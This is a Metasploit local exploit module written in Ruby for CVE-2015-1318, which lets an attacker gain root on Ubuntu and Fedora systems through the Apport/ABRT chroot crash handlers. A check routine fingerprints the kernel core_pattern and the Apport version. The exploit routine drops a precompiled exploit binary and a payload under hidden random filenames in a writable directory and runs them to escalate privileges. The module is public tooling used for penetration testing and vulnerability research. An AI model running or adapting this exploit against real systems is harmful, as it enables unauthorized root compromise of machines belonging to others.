##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apport / ABRT chroot Privilege Escalation',
        'Description' => %q{
          This module attempts to gain root privileges on Linux systems by
          invoking the default coredump handler inside a namespace ("container").

          Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are
          vulnerable, due to a feature which allows forwarding reports to
          a container's Apport by changing the root directory before loading
          the crash report, causing `usr/share/apport/apport` within the crashed
          task's directory to be executed.

          Similarly, Fedora is vulnerable when the kernel crash handler is
          configured to change root directory before executing ABRT, causing
          `usr/libexec/abrt-hook-ccpp` within the crashed task's directory to be
          executed.

          In both instances, the crash handler does not drop privileges,
          resulting in code execution as root.

          This module has been tested successfully on Apport 2.14.1 on
          Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Stéphane Graber', # Independent discovery, PoC and patch
          'Tavis Ormandy', # Independent discovery and C exploit
          'Ricardo F. Teixeira', # shell exploit
          'bcoles' # Metasploit
        ],
        'DisclosureDate' => '2015-03-31',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'References' => [
          [ 'CVE', '2015-1318' ],
          [ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
          # Exploits
          [ 'EDB', '36782' ],
          [ 'EDB', '36746' ],
          [ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ],
          # ABRT (Fedora)
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
          # Apport (Ubuntu)
          [ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ],
          [ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ],
          [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ],
          [ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]
        ],
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir']
  end

  def check
    unless userns_enabled?
      vprint_error 'Unprivileged user namespaces are not permitted'
      return CheckCode::Safe('Unprivileged user namespaces are not permitted')
    end
    vprint_good 'Unprivileged user namespaces are permitted'

    kernel_version = kernel_rex_version[:upstream]

    return CheckCode::Unknown('Could not determine kernel version') if kernel_version.nil?

    if kernel_version < Rex::Version.new('3.12')
      vprint_error "Linux kernel version #{kernel_version} is not vulnerable"
      return CheckCode::Safe("Kernel version #{kernel_version} is not vulnerable")
    end
    vprint_good "Linux kernel version #{kernel_version} is vulnerable"

    kernel_core_pattern = read_file('/proc/sys/kernel/core_pattern').to_s

    # Vulnerable core_pattern (abrt):
    #   kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
    # Patched systems no longer preface the command with /usr/sbin/chroot
    #   kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
    if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp')
      vprint_good 'System is configured to chroot ABRT for crash reporting'
      return CheckCode::Appears('System is configured to chroot ABRT for crash reporting')
    end

    # Vulnerable core_pattern (apport):
    #   kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P
    if kernel_core_pattern.include? 'apport'
      vprint_good 'System is configured to use Apport for crash reporting'

      unless command_exists?('apport-cli')
        return CheckCode::Detected('Could not determine Apport version. apport-cli is not installed or not in $PATH.')
      end

      res = cmd_exec('apport-cli --version').to_s

      if res.blank?
        return CheckCode::Detected('Could not determine Apport version')
      end

      apport_version = Rex::Version.new(res.split('-').first)

      # apport 2.13 < 2.17.1
      if apport_version.between?(Rex::Version.new('2.13'), Rex::Version.new('2.17'))
        vprint_good "Apport version #{apport_version} is vulnerable"
        return CheckCode::Appears("Apport version #{apport_version} appears to be vulnerable")
      end

      vprint_error "Apport version #{apport_version} is not vulnerable"

      return CheckCode::Safe("Apport version #{apport_version} is not vulnerable")
    end

    vprint_error 'System is not configured to use Apport or chroot ABRT for crash reporting'

    CheckCode::Safe('Target is not vulnerable')
  end

  def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    chmod path
    register_file_for_cleanup path
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    # Upload Tavis Ormandy's newpid exploit:
    # - https://www.exploit-db.com/exploits/36746/
    # Cross-compiled with:
    # - i486-linux-musl-cc -static newpid.c
    executable_data = ::File.binread ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'

    executable_name = ".#{rand_text_alphanumeric 5..10}"
    executable_path = "#{base_dir}/#{executable_name}"
    upload_and_chmodx executable_path, executable_data

    # Upload payload executable
    payload_name = ".#{rand_text_alphanumeric 5..10}"
    payload_path = "#{base_dir}/#{payload_name}"
    upload_and_chmodx payload_path, generate_payload_exe

    # newpid writes an 'exploit' directory
    # which must be removed manually if exploitation fails
    register_dir_for_cleanup "#{base_dir}/exploit"

    # Change working directory to base_dir,
    # allowing newpid to create the required hard links
    print_status 'Launching exploit...'
    output = cmd_exec "cd #{base_dir}; echo '#{payload_path}&' | #{executable_path}"
    output.each_line { |line| vprint_status line.chomp }
  end
end
